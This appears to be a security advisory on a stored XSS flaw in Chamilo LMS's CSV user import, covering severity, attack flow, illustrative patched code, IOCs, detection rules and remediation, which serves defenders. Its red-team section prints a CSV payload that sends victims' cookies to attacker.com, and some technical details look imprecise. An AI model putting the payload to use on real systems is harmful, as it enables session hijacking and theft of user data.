CVE-2025-52468

Executive Summary

CVE-2025-52468 is a stored cross-site scripting (XSS) vulnerability in Chamilo, a popular open-source learning management system (LMS). The flaw exists in the CSV user import functionality, where insufficient sanitization of the "Last Name", "First Name", and "Username" fields allows an attacker to inject malicious scripts. When an authenticated user views the profile of the imported user, the injected script executes in the context of the viewer's session. This can lead to session hijacking, data theft, or further compromise of the LMS platform. The vulnerability affects all versions prior to 1.11.30 and has a CVSS score of 8.8 (High). No public proof-of-concept (PoC) or exploit code is currently available, but the risk is significant due to the potential for widespread exploitation in educational environments.

Supply Chain & Package Security

Chamilo is a PHP-based application distributed as a complete package. The vulnerability is not in a third-party library but in the core application code. Users should ensure they are using the official Chamilo distribution and verify the integrity of downloaded packages. No known supply chain attacks have been reported for this specific CVE.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
• Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): Low (L) - An attacker needs a valid user account with permission to import users via CSV.
• User Interaction (UI): Required (R) - The victim must view the attacker's profile.
• Scope (S): Unchanged (U) - The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) - An attacker can steal session cookies and sensitive data.
• Integrity (I): High (H) - An attacker can modify content or perform actions on behalf of the victim.
• Availability (A): High (H) - An attacker could potentially disrupt the service.

Threat Level: High. While the EPSS score is currently 0.0%, indicating low exploitation likelihood, the vulnerability is easy to exploit once an attacker has low-level access. The impact is severe, making it a priority for patching.

Deep Dive & Mechanics

The vulnerability resides in the CSV user import functionality of Chamilo. When an administrator or authorized user imports a CSV file containing user data, the application processes the "Last Name", "First Name", and "Username" fields without proper sanitization. Specifically, the application fails to escape or validate HTML/JavaScript content in these fields before storing them in the database.

Attack Flow:

1. An attacker with user import privileges crafts a CSV file where one of the vulnerable fields (e.g., "Last Name") contains a malicious JavaScript payload, such as <script>alert('XSS')</script>.
2. The attacker uploads this CSV file through the Chamilo user import interface.
3. The application stores the malicious payload in the database without sanitization.
4. When another user (e.g., an administrator) views the attacker's profile, the application retrieves the stored data and renders it in the browser.
5. The browser executes the injected script, allowing the attacker to perform actions such as stealing session cookies, redirecting the user, or performing actions on behalf of the victim.

Root Cause: Insufficient input validation and output encoding. The application does not use context-aware escaping (e.g., HTML entity encoding) when displaying user profile data.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.11.30):

// In user import controller
$lastname = $csvRow['lastname'];
// No sanitization
$user->setLastname($lastname);
$user->save();

// In profile view
echo $user->getLastname(); // Direct output without escaping

Patched Code (1.11.30):

// In user import controller
$lastname = $csvRow['lastname'];
$lastname = htmlspecialchars($lastname, ENT_QUOTES, 'UTF-8'); // Sanitize input
$user->setLastname($lastname);
$user->save();

// In profile view
echo htmlspecialchars($user->getLastname(), ENT_QUOTES, 'UTF-8'); // Escape output

The patch adds htmlspecialchars() to both the input and output stages, ensuring that any HTML/JavaScript is encoded as HTML entities and not executed by the browser.

Exploitation & Lab Setup

Red Team (Attacker)

Prerequisites:

• A valid user account on a Chamilo instance (version < 1.11.30) with permission to import users via CSV.
• Access to the user import functionality (typically under "Administration" > "Users" > "Import").

Exploitation Steps:

1. Create a CSV file with the following content (example using "Last Name" field):

   Username;Firstname;Lastname;Email
   attacker;John;<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>;attacker@example.com
   

2. Log in to Chamilo with the attacker account.
3. Navigate to the user import page and upload the CSV file.
4. Wait for an administrator or other user to view the imported user's profile.
5. The injected script will execute, sending the victim's cookies to the attacker's server.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Defender)

Detection and Response:

1. Monitor User Import Logs: Look for unusual CSV uploads, especially those containing HTML tags or JavaScript in name fields.
2. Inspect User Profiles: Regularly audit user profiles for suspicious content in name fields.
3. Web Application Firewall (WAF): Deploy WAF rules to block CSV uploads containing <script> tags or other XSS patterns.
4. Content Security Policy (CSP): Implement a strict CSP header to mitigate the impact of XSS even if injection occurs.
5. User Education: Train administrators to verify the source of CSV files before importing.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to unknown domains from the Chamilo server (e.g., GET /steal?cookie=...).
  • Unusual CSV file uploads with large or suspicious content in name fields.

• Host IOCs:

  • User profiles containing HTML tags or JavaScript in the "Last Name", "First Name", or "Username" fields.
  • Unexpected entries in the user database table with script-like content.

• File IOCs:

  • CSV files with names like import_users.csv containing <script> tags.

Detection Engineering

YARA Rule

rule Detect_Chamilo_XSS_CSV_Import {
    meta:
        description = "Detects CSV files with potential XSS payloads targeting Chamilo CVE-2025-52468"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-52468"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script[^>]*>/i
        $csv_header = /(Username|Firstname|Lastname|Email)/i
    condition:
        $csv_header and $xss_payload
}

Sigma Rule

title: Chamilo CSV Import XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attempts via CSV import in Chamilo LMS
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/main/admin/user_import.php'
        cs-body|contains: 
            - '<script'
            - 'javascript:'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of HTML in names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Chamilo CSV Import XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/main/admin/user_import.php"; http_uri; content:"<script"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Chamilo: Update to version 1.11.30 or later immediately.
2. Restrict Import Permissions: Limit CSV import functionality to trusted administrators only.
3. Validate CSV Files: Manually inspect CSV files before import, looking for suspicious content.

Long-Term Measures:

1. Input Validation: Implement strict input validation for all user-supplied data, especially during import operations.
2. Output Encoding: Use context-aware output encoding (e.g., htmlspecialchars() in PHP) for all user data displayed in the browser.
3. Security Headers: Deploy Content Security Policy (CSP), X-Content-Type-Options, and X-Frame-Options headers.
4. Regular Audits: Conduct periodic security audits and penetration testing of the Chamilo instance.
5. Monitor for Updates: Subscribe to Chamilo security advisories to stay informed of future patches.

Workaround (if patching is not immediately possible):

• Disable the CSV user import functionality by removing or restricting access to the user_import.php script.
• Implement a custom input filter that strips HTML tags from CSV fields before processing.

Valters IT
Securing Digital Learning Environments